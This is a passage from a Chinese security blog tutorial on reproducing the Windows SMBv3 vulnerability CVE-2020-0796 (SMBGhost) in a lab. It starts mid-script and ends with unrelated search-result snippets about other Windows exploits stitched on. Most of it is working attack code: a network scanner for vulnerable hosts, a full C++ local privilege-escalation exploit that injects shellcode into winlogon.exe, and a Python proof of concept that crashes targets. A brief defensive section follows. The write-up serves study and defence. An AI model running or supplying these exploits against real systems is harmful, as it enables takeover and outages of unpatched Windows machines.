    pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
    
    subnet = sys.argv[1]
    
    #subnet = '192.168.44.141'
    
    for ip in IPNetwork(subnet):
    
        sock = socket.socket(socket.AF_INET)
        sock.settimeout(3)
    
        try:
            sock.connect(( str(ip),  445 ))
        except:
            sock.close()
            continue
    
        sock.send(pkt)
    
        nb, = struct.unpack(">I", sock.recv(4))
        res = sock.recv(nb)
    
        if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
            #print(f"{ip} Not vulnerable.")
            print("%s Not vulnerable." % ip)
        else:
            #print(f"{ip} vulnerable")
            print("%s Vulnerable" % ip)
    

    3.本地EXP提取

    第一步,运行C++代码(sln程序),生成如下图所示exe程序。

    • cve-2020-0796-local.exe

    在这里插入图片描述

    第二步,在运行中输入“winver”命令检查Windows版本,必须是Win10 1903或1909。

    在这里插入图片描述

    显示如下图所示,作者的未1909。

    在这里插入图片描述


    第三步,用管理员权限运行CMD(命令提示符),输入“whoami”。

    • 输出结果为普通用户权限:desktop-k…86\xxxxxx

    在这里插入图片描述

    第四步,用管理员打开PowerShell,运行exe程序提权。
    按下组合键Windows+R以打开运行窗口,输入powershell会以当前用户的权限去执行。

    在这里插入图片描述

    如果你想要从普通模式转至管理员模式,输入以下PowerShell命令然后按下回车键。

    • Start-Process powershell -Verb runAs

    在这里插入图片描述

    输入如下命令运行EXE程序。

    • D:
    • cd D:\SMBGhost-master\CVE-2020-0796-master\cve-2020-0796-local\x64\Debug
    • .\cv 按TAB键自动补齐 .\cve-2020-0796-local.exe
    • 成功运行程序

    在这里插入图片描述

    第五步,此时EXE成功运行并利用SMB漏洞。在CMD中输入“whoami”命令,可以看到普通用户权限提升至管理员权限。

    • 普通权限:desktop-k…86\xxxxxx
    • 管理员权限:nt authority\system

    在这里插入图片描述

    系统管理员帐户:许多服务和Windows进程需要在内部登录 (例如在Windows安装过程中),系统帐户就是为该目的设计的。它是内部帐户,不显示在用户管理器,也无法添加到任何组,并且不能分配用户权限。默认情况下,系统帐户授予完全控制NTFS卷上的所有文件。在此系统帐户具有作为管理员帐户相同的功能权限。
    普通管理员账户:不能够在系统内部登录。对于文件系统,管理员账户和SYSEM账户具有相同的权限。但是对于一些服务和进程,我们需要使用系统账户而非管理员账户,因为这些服务和进程要和系统交互,需要内部登录。

    在执行计划任务时,如果我们使用NT AUTHORITY\SYSTEM账户,那么是不需要输入密码的。但是使用管理员账户,我们必须输入密码。一般使用系统账户是为了防止管理员改变密码后任务无法执行。对于一般的操作,可以使用任何一个账户但还是建议您使用管理员或者普通用户执行。如果和进程或者服务有关的话,您可以使用系统账户。

    Process Explorer打开的提权进程如下图所示:

    在这里插入图片描述

    自此,本地提权实验成功,实验结束建议关闭445端口或完善补丁,切记。C++代码及原理将在文章的第四部分详细讲解。



    三.虚拟机蓝屏攻击

    1.环境搭建

    • 受害机:Windows 10 1903 64位专业版
    • 攻击机:Kali系统

    第一步,在虚拟机中安装Windows 10系统和Kali系统。

    在这里插入图片描述

    运行中输入“winver”查看版本信息为1903。

    在这里插入图片描述

    第二步,虚拟机两个系统之间能够相互通信。

    • Kali:192.168.44.138
    • Win XP:192.168.44.140

    在这里插入图片描述

    在这里插入图片描述

    第三步,打开Windows 10系统,确定445端口开启。如下图所示,在CMD中输入“netstat -ano”查看端口445是否打开。开启方法前面已详细讲解。

    在这里插入图片描述

    在这里插入图片描述

    第四步,关闭Windows系统的防火墙。

    在这里插入图片描述

    注意,某些情况系统已打过补丁,还需要删除补丁KB4551762才能成功实验。作者也存在一个疑问,采用Win10 32位 1903版本蓝屏攻击总失败,Why?

    在这里插入图片描述

    删除后重启计算机即可。

    在这里插入图片描述


    2.攻击实验

    第一步,采用scanner.py或bash文件扫描该漏洞。这里采用另一种方法,参考资源:https://github.com/joaozietolie/CVE-2020-0796-Checker

    • 上传文件至Kali系统,作者采用文件共享
    • chmod +x CVE-2020-0796-Checker.sh
    • bash CVE-2020-0796-Checker.sh -t 192.168.44.140

    在这里插入图片描述

    CVE-2020-0796-Checker.sh

    #!/bin/bash
    NC='\033[0m'
    RED='\033[0;31m'
    GREEN='\033[0;32m'
    #Code by João Zietolie :)
    
    while getopts "t:" OPTION; do
            case "${OPTION}" in
             t) target="${OPTARG}";;
            esac
    done
       
    if [[ "$target" > "0" ]]; then 
    	echo "Checking for SMB v3.11 in $target ..."
    	result=$(nmap -p445 --script smb-protocols -Pn -n $target  | grep -o 3.11) 
    
    	if [[ "$result" == '3.11' ]]; then
                    echo -e "$target - ${RED}FOUND 3.11 VERSION - POSSIBLY VULNERABLE TO CVE-2020-0796" ${NC}
            else
    		echo -e "$target - ${GREEN}There is no SMB v3.11 - possibly not vulnerable (Port 445 can be filtered or closed)"  ${NC}
    	fi
    else
    	echo -e "${RED}USAGE: bash CVE-2020-0796-Checker.sh -t IP${NC}"
    fi
    

    第二步,从github下载POC蓝屏攻击代码至Kali系统。

    在这里插入图片描述

    在这里插入图片描述

    第三步,安装扩展包并实现POC蓝屏攻击。

    • pip install ntlm_auth
    • python CVE-2020-0796.py 192.168.44.140

    在这里插入图片描述

    在这里插入图片描述

    此时,Win10系统蓝屏重启,如下图所示。作者又有一个疑问,如何获取Shell而不蓝屏呢?

    在这里插入图片描述



    四.漏洞原因分析

    根据安全研究人员分析,该漏洞是一个整数溢出,发生在SMB服务驱动srv2.sys的Srv2DecompressData函数中。经过研究,研究人员成功证明了CVE-2020-0796漏洞可以被用于本地权限提升。不过需要注意的是,由于API的依赖问题,这个exploit被限制于中等完整性级别(integrity level)。

    漏洞成因推荐如下文章:

    1.C++代码解析

    exploit.cpp

    /*
     * CVE-2020-0796 LPE
     * 
     * Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com
     * Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com
     * Date: 03/29/2020
     *
     **/
    
    #include <stdio.h>
    #include <stdint.h>
    #include <winsock2.h>
    #include <ws2tcpip.h>
    #include <windows.h>
    #include <TlHelp32.h>
    #include "ntos.h"
    
    #pragma comment(lib, "ws2_32.lib")
    
    ULONG64 get_handle_addr(HANDLE h) {
    	ULONG len = 20;
    	NTSTATUS status = (NTSTATUS)0xc0000004;
    	PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
    	do {
    		len *= 2;
    		pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);
    		status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len);
    	} while (status == (NTSTATUS)0xc0000004);
    
    	if (status != (NTSTATUS)0x0) {
    		printf("NtQuerySystemInformation() failed with error: %#x\n", status);
    		return 1;
    	}
    
    	DWORD mypid = GetProcessId(GetCurrentProcess());
    	ULONG64 ptrs[1000] = { 0 };
    	for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) {
    		PVOID object = pHandleInfo->Handles[i].Object;
    		ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue;
    		DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId;
    		if (pid != mypid)
    			continue;
    		if (handle == (ULONG_PTR)h)
    			return (ULONG64)object;
    	}
    	return -1;
    }
    
    ULONG64 get_process_token() {
    	HANDLE token;
    	HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
    	if (proc == INVALID_HANDLE_VALUE)
    		return 0;
    
    	OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);
    	ULONG64 ktoken = get_handle_addr(token);
    
    	return ktoken;
    }
    
    int error_exit(SOCKET sock, const char* msg) {
    	int err;
    	if (msg != NULL) {
    		printf("%s failed with error: %d\n", msg, WSAGetLastError());
    	}
    	if ((err = closesocket(sock)) == SOCKET_ERROR) {
    		printf("closesocket() failed with error: %d\n", WSAGetLastError());
    	}
    	WSACleanup();
    	return EXIT_FAILURE;
    }
    
    int send_negotiation(SOCKET sock) {
    	int err = 0;
    	char response[8] = { 0 };
    
    	const uint8_t buf[] = {
    		/* NetBIOS Wrapper */
    		0x00,                   /* session */
    		0x00, 0x00, 0xC4,       /* length */
    
    		/* SMB Header */
    		0xFE, 0x53, 0x4D, 0x42, /* protocol id */
    		0x40, 0x00,             /* structure size, must be 0x40 */
    		0x00, 0x00,             /* credit charge */
    		0x00, 0x00,             /* channel sequence */
    		0x00, 0x00,             /* channel reserved */
    		0x00, 0x00,             /* command */
    		0x00, 0x00,             /* credits requested */
    		0x00, 0x00, 0x00, 0x00, /* flags */
    		0x00, 0x00, 0x00, 0x00, /* chain offset */
    		0x00, 0x00, 0x00, 0x00, /* message id */
    		0x00, 0x00, 0x00, 0x00, 
    		0x00, 0x00, 0x00, 0x00, /* reserved */
    		0x00, 0x00, 0x00, 0x00, /* tree id */
    		0x00, 0x00, 0x00, 0x00, /* session id */
    		0x00, 0x00, 0x00, 0x00,
    		0x00, 0x00, 0x00, 0x00, /* signature */
    		0x00, 0x00, 0x00, 0x00,
    		0x00, 0x00, 0x00, 0x00,
    		0x00, 0x00, 0x00, 0x00,
    
    		/* SMB Negotiation Request */
    		0x24, 0x00,             /* structure size */
    		0x08, 0x00,             /* dialect count, 8 */
    		0x00, 0x00,             /* security mode */
    		0x00, 0x00,             /* reserved */
    		0x7F, 0x00, 0x00, 0x00, /* capabilities */
    		0x01, 0x02, 0xAB, 0xCD, /* guid */
    		0x01, 0x02, 0xAB, 0xCD,
    		0x01, 0x02, 0xAB, 0xCD,
    		0x01, 0x02, 0xAB, 0xCD,
    		0x78, 0x00,             /* negotiate context */
    		0x00, 0x00,             /* additional padding */
    		0x02, 0x00,             /* negotiate context count */
    		0x00, 0x00,             /* reserved 2 */
    		0x02, 0x02,             /* dialects, SMB 2.0.2 */
    		0x10, 0x02,             /* SMB 2.1 */
    		0x22, 0x02,             /* SMB 2.2.2 */
    		0x24, 0x02,             /* SMB 2.2.3 */
    		0x00, 0x03,             /* SMB 3.0 */
    		0x02, 0x03,             /* SMB 3.0.2 */
    		0x10, 0x03,             /* SMB 3.0.1 */
    		0x11, 0x03,             /* SMB 3.1.1 */
    		0x00, 0x00, 0x00, 0x00, /* padding */
    
    		/* Preauth context */
    		0x01, 0x00,             /* type */
    		0x26, 0x00,             /* length */
    		0x00, 0x00, 0x00, 0x00, /* reserved */
    		0x01, 0x00,             /* hash algorithm count */
    		0x20, 0x00,             /* salt length */
    		0x01, 0x00,             /* hash algorith, SHA512 */
    		0x00, 0x00, 0x00, 0x00, /* salt */
    		0x00, 0x00, 0x00, 0x00,
    		0x00, 0x00, 0x00, 0x00,
    		0x00, 0x00, 0x00, 0x00,
    		0x00, 0x00, 0x00, 0x00,
    		0x00, 0x00, 0x00, 0x00,
    		0x00, 0x00, 0x00, 0x00,
    		0x00, 0x00, 0x00, 0x00,
    		0x00, 0x00,             /* pad */
    
    		/* Compression context */
    		0x03, 0x00,             /* type */
    		0x0E, 0x00,             /* length */
    		0x00, 0x00, 0x00, 0x00, /* reserved */
    		0x02, 0x00,             /* compression algorithm count */
    		0x00, 0x00,             /* padding */
    		0x01, 0x00, 0x00, 0x00, /* flags */
    		0x02, 0x00,             /* LZ77 */
    		0x03, 0x00,             /* LZ77+Huffman */
    		0x00, 0x00, 0x00, 0x00, /* padding */
    		0x00, 0x00, 0x00, 0x00
    	};
    	
    	if ((err = send(sock, (const char *)buf, sizeof(buf), 0)) != SOCKET_ERROR) {
    		recv(sock, response, sizeof(response), 0); 
    	}
    
    	return err;
    }
    
    int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {
    	int err = 0;
    	char response[8] = { 0 };
    
    	const uint8_t buf[] = {
    		/* NetBIOS Wrapper */
    		0x00,
    		0x00, 0x00, 0x33,
    
    		/* SMB Header */
    		0xFC, 0x53, 0x4D, 0x42, /* protocol id */
    		0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
    		0x02, 0x00,             /* compression algorithm, LZ77 */
    		0x00, 0x00,             /* flags */
    		0x10, 0x00, 0x00, 0x00, /* offset */
    	};
    
    	uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);
    	if (packet == NULL) {
    		printf("Couldn't allocate memory with malloc()\n");
    		return error_exit(sock, NULL);
    	}
    
    	memcpy(packet, buf, sizeof(buf));
    	*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
    	*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
    	memcpy(packet + sizeof(buf) + 0x10, buffer, len);
    
    	if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {
    		recv(sock, response, sizeof(response), 0);
    	}
    
    	free(packet);
    	return err;
    }
    
    void inject(void) {
    	PROCESSENTRY32 entry;
    	entry.dwSize = sizeof(PROCESSENTRY32);
    
    	uint8_t shellcode[] = {
    		 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54,
    		 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,
    		 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,
    		 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
    		 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
    		 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,
    		 0xff, 0xc2, // inc edx (1 = SW_SHOW)
    		 0xFF, 0xD7, 0x48, 0x83, 0xC4,
    		 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00
    	};
    
    	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    
    	int pid = -1;
    	if (Process32First(snapshot, &entry) == TRUE) {
    		while (Process32Next(snapshot, &entry) == TRUE) {
    			if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) {
    				pid = entry.th32ProcessID;
    				break;
    			}
    		}
    	}
    	CloseHandle(snapshot);
    
    	if (pid < 0) {
    		printf("Could not find process\n");
    		return;
    	}
    	printf("Injecting shellcode in winlogon...\n");
    
    	HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    	if (hProc == NULL) {
    		printf("Could not open process\n");
    		return;
    	}
    
    	LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	if (lpMem == NULL) {
    		printf("Remote allocation failed\n");
    		return;
    	}		
    	if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) {
    		printf("Remote write failed\n");
    		return;
    	}	
    	if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) {
    		printf("CreateRemoteThread failed\n");
    		return;
    	}
    
    	printf("Success! ;)\n");
    }
    
    int main(int argc, char* argv[]) {
    	WORD wVersionRequested = MAKEWORD(2, 2);
    	WSADATA wsaData = { 0 };
    	SOCKET sock = INVALID_SOCKET;
    	uint64_t ktoken = 0;
    
    	int err = 0;
    
    	printf("-= CVE-2020-0796 LPE =-\n");
    	printf("by @danigargu and @dialluvioso_\n\n");
    
    	if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {
    		printf("WSAStartup() failed with error: %d\n", err);
    		return EXIT_FAILURE;
    	}
    
    	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
    		printf("Couldn't find a usable version of Winsock.dll\n");
    		WSACleanup();
    		return EXIT_FAILURE;
    	}
    
    	sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    	if (sock == INVALID_SOCKET) {
    		printf("socket() failed with error: %d\n", WSAGetLastError());
    		WSACleanup();
    		return EXIT_FAILURE;
    	}
    
    	sockaddr_in client;
    	client.sin_family = AF_INET;
    	client.sin_port = htons(445);
    	InetPton(AF_INET, "127.0.0.1", &client.sin_addr);
    
    	if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) {
    		return error_exit(sock, "connect()");
    	}
    
    	printf("Successfully connected socket descriptor: %d\n", (int)sock);
    	printf("Sending SMB negotiation request...\n");
    
    	if (send_negotiation(sock) == SOCKET_ERROR) {
    		printf("Couldn't finish SMB negotiation\n");
    		return error_exit(sock, "send()");
    	}
    
    	printf("Finished SMB negotiation\n");
    	ULONG buffer_size = 0x1110;
    	UCHAR *buffer = (UCHAR *)malloc(buffer_size);
    	if (buffer == NULL) {
    		printf("Couldn't allocate memory with malloc()\n");
    		return error_exit(sock, NULL);
    	}
    
    	ktoken = get_process_token();
    	if (ktoken == -1) {
    		printf("Couldn't leak ktoken of current process...\n");
    		return EXIT_FAILURE;
    	}
    
    	printf("Found kernel token at %#llx\n", ktoken);
    
    	memset(buffer, 'A', 0x1108);
    	*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */
    
    	ULONG CompressBufferWorkSpaceSize = 0;
    	ULONG CompressFragmentWorkSpaceSize = 0;
    	err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS, 
    		&CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);
    
    	if (err != STATUS_SUCCESS) {
    		printf("RtlGetCompressionWorkSpaceSize() failed with error: %d\n", err);
    		return error_exit(sock, NULL);
    	}
    
    	ULONG FinalCompressedSize;
    	UCHAR compressed_buffer[64];
    	LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);
    	if (lpWorkSpace == NULL) {
    		printf("Couldn't allocate memory with malloc()\n");
    		return error_exit(sock, NULL);
    	}
    
    	err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,
    		compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);
    
    	if (err != STATUS_SUCCESS) {
    		printf("RtlCompressBuffer() failed with error: %#x\n", err);
    		free(lpWorkSpace);
    		return error_exit(sock, NULL);
    	}
    	
    	printf("Sending compressed buffer...\n");
    
    	if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {
    		return error_exit(sock, "send()");
    	}
    
    	printf("SEP_TOKEN_PRIVILEGES changed\n");
    	inject();
    
    	WSACleanup();
    	return EXIT_SUCCESS;
    }
    

    2.Python代码解析

    CVE-2020-0796-POC.py

    import socket, struct, sys
    
    class Smb2Header:
        def __init__(self, command, message_id):
            self.protocol_id = "\xfeSMB"
            self.structure_size = "\x40\x00"  # Must be set to 0x40
            self.credit_charge = "\x00"*2
            self.channel_sequence = "\x00"*2
            self.channel_reserved = "\x00"*2
            self.command = command
            self.credits_requested = "\x00"*2  # Number of credits requested / granted
            self.flags = "\x00"*4
            self.chain_offset = "\x00"*4  # Points to next message
            self.message_id = message_id
            self.reserved = "\x00"*4
            self.tree_id = "\x00"*4  # Changes for some commands
            self.session_id = "\x00"*8
            self.signature = "\x00"*16
    
        def get_packet(self):
            return self.protocol_id + self.structure_size + self.credit_charge + self.channel_sequence + self.channel_reserved + self.command + self.credits_requested + self.flags + self.chain_offset + self.message_id + self.reserved + self.tree_id + self.session_id + self.signature
    
    class Smb2NegotiateRequest:
        def __init__(self):
            self.header = Smb2Header("\x00"*2, "\x00"*8)
            self.structure_size = "\x24\x00"
            self.dialect_count = "\x08\x00"  # 8 dialects
            self.security_mode = "\x00"*2
            self.reserved = "\x00"*2
            self.capabilities = "\x7f\x00\x00\x00"
            self.guid = "\x01\x02\xab\xcd"*4
            self.negotiate_context = "\x78\x00"
            self.additional_padding = "\x00"*2
            self.negotiate_context_count = "\x02\x00"  # 2 Contexts
            self.reserved_2 = "\x00"*2
            self.dialects = "\x02\x02" + "\x10\x02" + "\x22\x02" + "\x24\x02" + "\x00\x03" + "\x02\x03" + "\x10\x03" + "\x11\x03"  # SMB 2.0.2, 2.1, 2.2.2, 2.2.3, 3.0, 3.0.2, 3.1.0, 3.1.1
            self.padding = "\x00"*4
    
        def context(self, type, length):
            data_length = length
            reserved = "\x00"*4
            return type + data_length + reserved
    
        def preauth_context(self):
            hash_algorithm_count = "\x01\x00"  # 1 hash algorithm
            salt_length = "\x20\x00"
            hash_algorithm = "\x01\x00"  # SHA512
            salt = "\x00"*32
            pad = "\x00"*2
            length = "\x26\x00"
            context_header = self.context("\x01\x00", length)
            return context_header + hash_algorithm_count + salt_length + hash_algorithm + salt + pad
    
        def compression_context(self):
            compression_algorithm_count = "\x03\x00"  # 3 Compression algorithms
            padding = "\x00"*2
            flags = "\x01\x00\x00\x00"
            algorithms = "\x01\x00" + "\x02\x00" + "\x03\x00"  # LZNT1 + LZ77 + LZ77+Huffman
            length = "\x0e\x00"
            context_header = self.context("\x03\x00", length)
            return context_header + compression_algorithm_count + padding + flags + algorithms
    
        def get_packet(self):
            padding = "\x00"*8
            return self.header.get_packet() + self.structure_size + self.dialect_count + self.security_mode + self.reserved + self.capabilities + self.guid + self.negotiate_context + self.additional_padding + self.negotiate_context_count + self.reserved_2 + self.dialects + self.padding + self.preauth_context() + self.compression_context() + padding
    
    class NetBIOSWrapper:
        def __init__(self, data):
            self.session = "\x00"
            self.length = struct.pack('>i', len(data)).decode('latin1')[1:]
            self.data = data
    
        def get_packet(self):
            return self.session + self.length + self.data
    
    class Smb2CompressedTransformHeader:
        def __init__(self, data):
            self.data = data
            self.protocol_id = "\xfcSMB"
            self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1')
            self.compression_algorithm = "\x01\x00"
            self.flags = "\x00"*2
            self.offset = "\xff\xff\xff\xff"  # Exploit the vulnerability
    
        def get_packet(self):
            return self.protocol_id + self.original_decompressed_size + self.compression_algorithm + self.flags + self.offset + self.data
    
    def send_negotiation(sock):
        negotiate = Smb2NegotiateRequest()
        packet = NetBIOSWrapper(negotiate.get_packet()).get_packet()
        sock.send(packet.encode('latin1'))
        sock.recv(3000)
    
    def send_compressed(sock, data):
        compressed = Smb2CompressedTransformHeader(data)
        packet = NetBIOSWrapper(compressed.get_packet()).get_packet()
        sock.send(packet.encode('latin1'))
        #sock.recv(1000)
    
    if __name__ == "__main__":
        if len(sys.argv) != 2:
            exit("[-] Supply an IP: {} IP_ADDR".format(sys.argv[0]))
        sock = socket.socket(socket.AF_INET)
        sock.settimeout(3)
        sock.connect((sys.argv[1], 445))
        send_negotiation(sock)
        send_compressed(sock, "A" * 50)
    

    五.防御措施

    写到这里,这篇CVE-2020-0796漏洞复现的文章就介绍结束了,希望对您有所帮助。这篇文章也存在一些不足,作者没有更深入的理解其原理,也是作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。

    最后补充防御方法:

    在这里插入图片描述

    • 根据BleepingComputer的说法,尽管Microsoft并未共享禁用SMBv3压缩的官方方法,但是Foregenix Solutions架构师Niall Newman在分析了Srv2.sys文件后可以通过手动修改注册表,防止被黑客远程攻击。
      (1) 在注册表“HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters”建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。
      (2) 在管理员模式启动PowerShell,将以下命令复制到Powershell命令行,执行即可。

    Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 -Force

    在这里插入图片描述

    在这里插入图片描述

    • 若无业务必要,在网络安全域边界防火墙封堵文件打印和共享端口TCP 135/139/445以缓解此问题。
    • 可以通过安全厂商的漏洞检验和修复工具来检查是否存在漏洞和进行漏洞修复。

    六.总结

    希望这系列文章对您有所帮助,真的感觉自己技术好菜,要学的知识好多。作为初学者,我们可能有差距,不论你之前是什么方向,是什么工作,是什么学历,是大学大专中专,亦或是高中初中,只要你喜欢安全,喜欢渗透,就朝着这个目标去努力吧!有差距不可怕,我们需要的是去缩小差距,去战斗,况且这个学习的历程真的很美,安全真的有意思。但切勿去做坏事,我们需要的是白帽子,是维护我们的网络,安全路上共勉。

    最后,真诚地感谢您关注“娜璋之家”公众号,也希望我的文章能陪伴你成长,希望在技术路上不断前行。文章如果对你有帮助、有感悟,就是对我最好的回报,且看且珍惜!再次感谢您的关注,也请帮忙宣传下“娜璋之家”,哈哈~初来乍到,还请多多指教。顺便说一句,今天CSDN账号的粉丝破十万了,还挺开心的。

    在这里插入图片描述

    (By: Eastmount 2020-12-30 夜于武汉 https://blog.csdn.net/Eastmount)


    参考文献:

    展开全文
  • 通过回顾我多年的网站安全评估项目,可以指出以下最影响Windows服务器的IIS漏洞。我可以有把握地说,对于Windows服务器管理员来说普遍的目标是拥有适当弹性的系统。世界上有很多网络安全威胁,你最不希望发生的是在...
  • windows漏洞ms12-020

    2021-07-07 10:08:43
    ms12-020漏洞攻击工具基于windowsxp,win7,windows_server_2003等版本进行攻击,使用如下 一:下载ms12-020.poc.final.exe 二:命令模式下进入攻击工具所在目录,运行该工具 三:输入受攻击主机ip进行攻击 四:...
  • Windows命令执行漏洞利用技巧 1. 命令执行示例代码分析 以下使用PHP代码,对指定目标执行Ping命令。 <?php echo “<pre>”; $arg = $_GET['cmd']; if ($arg) { system("ping $arg"); } echo “</...
  • 可使用途径:微信制作.url文件或其他文件,地址栏...} xss漏洞利用 分析(): 看报错为:system_service_exception 造成这个报错的官方反馈是:系统服务错误 在国外Bleepingcomputer论坛,我们看到一篇这样的文章: ...
  • 删除Oracle安装目录,卸载完成 3 远端DNS服务允许递归查询 如果您使用的是Windows DNS Server,可以通过修改注册表来将其配置为非递归DNS Server。 只要将注册表中 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\...
  • 在我的个人印象中,Windows漏洞有比较多的,如果进行排名的话,Windows 10的漏洞肯定要比macOS、Linux多,事实是这样吗?美国国家标准暨技术研究院的国家漏洞数据库显示,Windows 10的技术漏洞比iOS还少。注意这里...
  • 目前 CERT 公布卡巴斯基实验室发现的两枚严重安全漏洞漏洞影响WindowsWindows Server操作系统,对于普通用户来说本身比较及时安装累积更新所以不会出现太大问题,主要是IT 管理员们这次需要提高警惕。...
  • 2020年3月,微软公布了一个影响范围堪称windows全版本的本地提权漏洞CVE-2020-0787,根据微软的漏洞描述,攻击者在使用低权限用户登录系统后,可以利用该漏洞构造恶意程序直接提权到administrator或者system权限。...
  • 宝塔 Linux 7.4.2 版本和Windows 6.8版本存在未授权访问漏洞,攻击者可通过访问特定URL直接访问数据库。成功利用此漏洞的攻击者可访问数据库中的数据,也可能进行一些危险操作。漏洞案例如下:鉴于该漏洞影响较大...
  • CVE-2021-1732[Windows Win32k 提权漏洞] (Windows 10, 2019/20H2) CVE-2020-0787【Windows后台智能传输服务提权漏洞】(Windows 7/8/10、2008/2012/2016/2019) CVE-2020-0796[Microsoft 服务器消息块 3.1.1 ...
  • 不久之前在Windows服务器上简单地使用SSL,或者其后继者TLS还都被认为是很安全的通信...以下列出了你需要知道的信息:心脏出血漏洞(Heartbleed)是一个OpenSSL漏洞(OpenSSL经常运行在一些Windows服务器上),此漏洞会...
  • 重要提示:该漏洞影响旧版本的Windows系统,包括:Windows7、Windows Server2008 R2、Windows Server2008、Windows 2003、WindowsXP。备注:Windows 8和Windows 10及之后版本不受此漏洞影响,勿须担心这个问题。前期...
  • EternalBlue(永恒之蓝) : SMBv1 漏洞攻击工具,影响所有Windows平台,还在支持期的系统打上MS17-010 可以免疫,不再支持期的系统,可以禁用SMBv1(配置注册表或组策略,需要重启) EmeraldThread(翡翠纤维)
  • 漏洞发生在Windows图形驱动win32kfull!NtUserCreateWindowEx函数中,该函数存在一处内核回调用户态分配内存与tagWND->flag属性设置不同。 成功利用该漏洞Windows本地攻击者可以提升到system权限。 2021年03月...
  • Windows 本地权限提升漏洞 CVE-2021-1732 EXP 下载
  • 2021年2月10日,微软每月的例行补丁包中修复了一个Windows系统本地提权漏洞,本地攻击者可以利用此漏洞提升到system权限,据称此漏洞被用于定向攻击活动。 2 漏洞概述 该漏洞由函数win32kfull!xxxCreateWi ndowEx ...
